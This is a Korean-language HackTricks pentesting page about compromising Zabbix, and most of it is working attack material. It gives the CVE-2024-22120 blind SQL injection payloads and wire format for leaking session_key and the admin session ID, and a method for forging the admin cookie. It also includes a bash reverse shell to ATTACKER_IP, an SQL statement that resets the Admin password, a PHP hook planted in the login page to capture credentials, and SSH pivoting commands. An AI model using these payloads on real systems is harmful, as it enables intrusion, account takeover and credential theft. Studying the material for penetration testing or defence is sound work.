Zabbix 보안
Reading time: 6 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: 
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기: 
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
 - **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
 - HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
 
개요
Zabbix는 web UI(일반적으로 Apache/Nginx 뒤)와 TCP/10051(server/trapper)에서 Zabbix 프로토콜을 사용하는 server 컴포넌트 및 TCP/10050의 agent를 노출하는 모니터링 플랫폼입니다. 평가 중에 다음을 마주칠 수 있습니다:
- Web UI: zabbix.example.tld 같은 HTTP(S) 가상 호스트
 - Zabbix server 포트: 10051/tcp (JSON over a ZBXD header framing)
 - Zabbix agent 포트: 10050/tcp
 
유용한 cookie 형식: zbx_session은 최소한 sessionid, serverCheckResult, serverCheckTime 및 sign을 포함하는 compact JSON 객체의 Base64입니다. sign은 JSON 페이로드의 HMAC입니다.
zbx_session cookie 내부 구조
최근 Zabbix 버전은 cookie를 다음과 같이 계산합니다:
- data JSON: {"sessionid":"<32-hex>","serverCheckResult":true,"serverCheckTime":<unix_ts>}
 - sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
 - Final cookie: Base64(JSON_with_sign)
 
global session_key와 유효한 admin sessionid를 회수할 수 있다면, 오프라인에서 유효한 Admin cookie를 위조해 UI에 인증할 수 있습니다.
CVE-2024-22120 — Zabbix Server audit log의 time-based blind SQLi
공개 문서상의 영향을 받는 버전:
- 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1
 
취약점 요약:
- Script 실행이 Zabbix Server 감사 로그에 기록될 때 clientip 필드가 정화되지 않고 SQL에 이어붙여져, server 구성요소를 통해 time-based blind SQLi가 가능해집니다.
 - 이는 유효한 낮은 권한의 sessionid, 사용자가 접근 가능한 hostid, 그리고 허용된 scriptid로 조작된 "command" 요청을 Zabbix server 포트 10051로 전송함으로써 악용할 수 있습니다.
 
전제조건 및 발견 팁:
- sessionid: web UI의 guest/login에서 zbx_session(Base64)을 디코드하여 sessionid를 얻습니다.
 - hostid: web UI 요청(예: Monitoring → Hosts)을 관찰하거나 프록시로 가로채서 확인합니다; 일반 기본값은 10084입니다.
 - scriptid: 현재 역할에 허용된 스크립트만 실행됩니다; 스크립트 메뉴/AJAX 응답을 검사하여 확인하세요. 1 또는 2 같은 기본값이 종종 허용되며, 3은 거부될 수 있습니다.
 
Exploitation flow
- clientip에 SQLi를 포함해 감사 로그 삽입 트리거
 
- TCP/10051에 연결하여 request="command"를 포함한 Zabbix 프레임 메시지를 보내고, sid, hostid, scriptid 및 clientip를 서버가 이어붙여 평가할 SQL 표현으로 설정합니다.
 
Minimal message (JSON body) fields:
{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}
전체 와이어 포맷은: "ZBXD\x01" + 8-byte little-endian length + UTF-8 JSON입니다. 프레이밍에는 pwntools나 자체 socket 코드를 사용할 수 있습니다.
- Time-bruteforce secrets via conditional sleep
 
조건부 표현식을 사용해 응답 시간을 측정함으로써 hex-encoded secrets를 한 글자씩 leak합니다. 실제로 작동한 예:
- Leak global session_key from config:
 
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
- Leak Admin session_id (userid=1)을 sessions에서:
 
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
참고:
- charset: 32 hex chars [0-9a-f]
 - Pick T_TRUE >> T_FALSE (e.g., 10 vs 1) 및 각 시도마다 실제 경과 시간을 측정
 - Ensure your scriptid is actually authorized for the user; otherwise no audit row is produced and timing won’t work
 
- Forge Admin cookie
 
Once you have:
- session_key: 32-hex from config.session_key
 - admin_sessionid: 32-hex from sessions.sessionid for userid=1
 
Compute:
- sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
 - zbx_session = Base64(JSON_with_sign)
 
Set the cookie zbx_session to this value and GET /zabbix.php?action=dashboard.view to validate Admin access.
준비된 도구
- Public PoC automates: bruteforce of session_key and admin sessionid, and cookie forging; requires pwntools and requests.
 - Parameters to provide typically include: --ip (FQDN of UI), --port 10051, --sid (low-priv), --hostid, and optionally a known --admin-sid to skip brute.
 
스크립트 실행을 통한 RCE (관리자 권한 획득 후)
UI에서 Admin 접근 권한이 있으면 모니터링된 호스트에 대해 미리 정의된 Scripts를 실행할 수 있습니다. 에이전트/호스트가 로컬에서 스크립트 명령을 실행하면 해당 시스템에서 코드 실행이 발생합니다(대부분 Linux 호스트에서는 zabbix 사용자로 실행됨):
- Quick check: run id to confirm user context
 - Reverse shell example:
 
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'
TTY upgrade (Linux):
script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset
DB 접근 권한이 있다면, 쿠키를 위조하는 대신 Admin 비밀번호를 문서화된 bcrypt 값으로 재설정할 수 있습니다:
UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';
Credential capture via login hook (post-exploitation)
만약 web UI server에서 file write가 가능하다면, form-based login 분기 주변의 /usr/share/zabbix/index.php에 로그 스니펫을 임시로 추가하여 capture credentials할 수 있습니다:
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}
사용자는 정상적으로 인증합니다; 작업 후 /dev/shm/creds.txt를 읽으세요. 작업이 끝나면 hook을 제거하세요.
내부 서비스로 피벗
서비스 계정의 shell이 /usr/sbin/nologin이어도, SSH authorized_keys 항목을 추가하고 -N -L을 사용하면 로컬 포트 포워딩으로 루프백 전용 서비스(예: 8111의 CI/CD)에 접근할 수 있습니다:
ssh -i key user@host -N -L 8111:127.0.0.1:8111
더 많은 터널링 패턴은 다음에서 확인하세요: Tunneling and Port Forwarding.
운영 팁
- 현재 role에 대해 scriptid가 허용되는지 검증하세요 (guest는 제한된 집합을 가질 수 있음)
 - Timing brute는 느릴 수 있으므로, 복구한 admin sessionid를 캐시해 재사용하세요
 - 10051로 전송되는 JSON은 ZBXD\x01 헤더와 little-endian 길이로 프레이밍되어야 합니다
 
참고 자료
- HTB Watcher — Zabbix CVE-2024-22120 to Admin/RCE and TeamCity root pivot
 - CVE-2024-22120-RCE toolkit (PoC scripts)
 
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: 
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기: 
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
 - **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
 - HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
 
HackTricks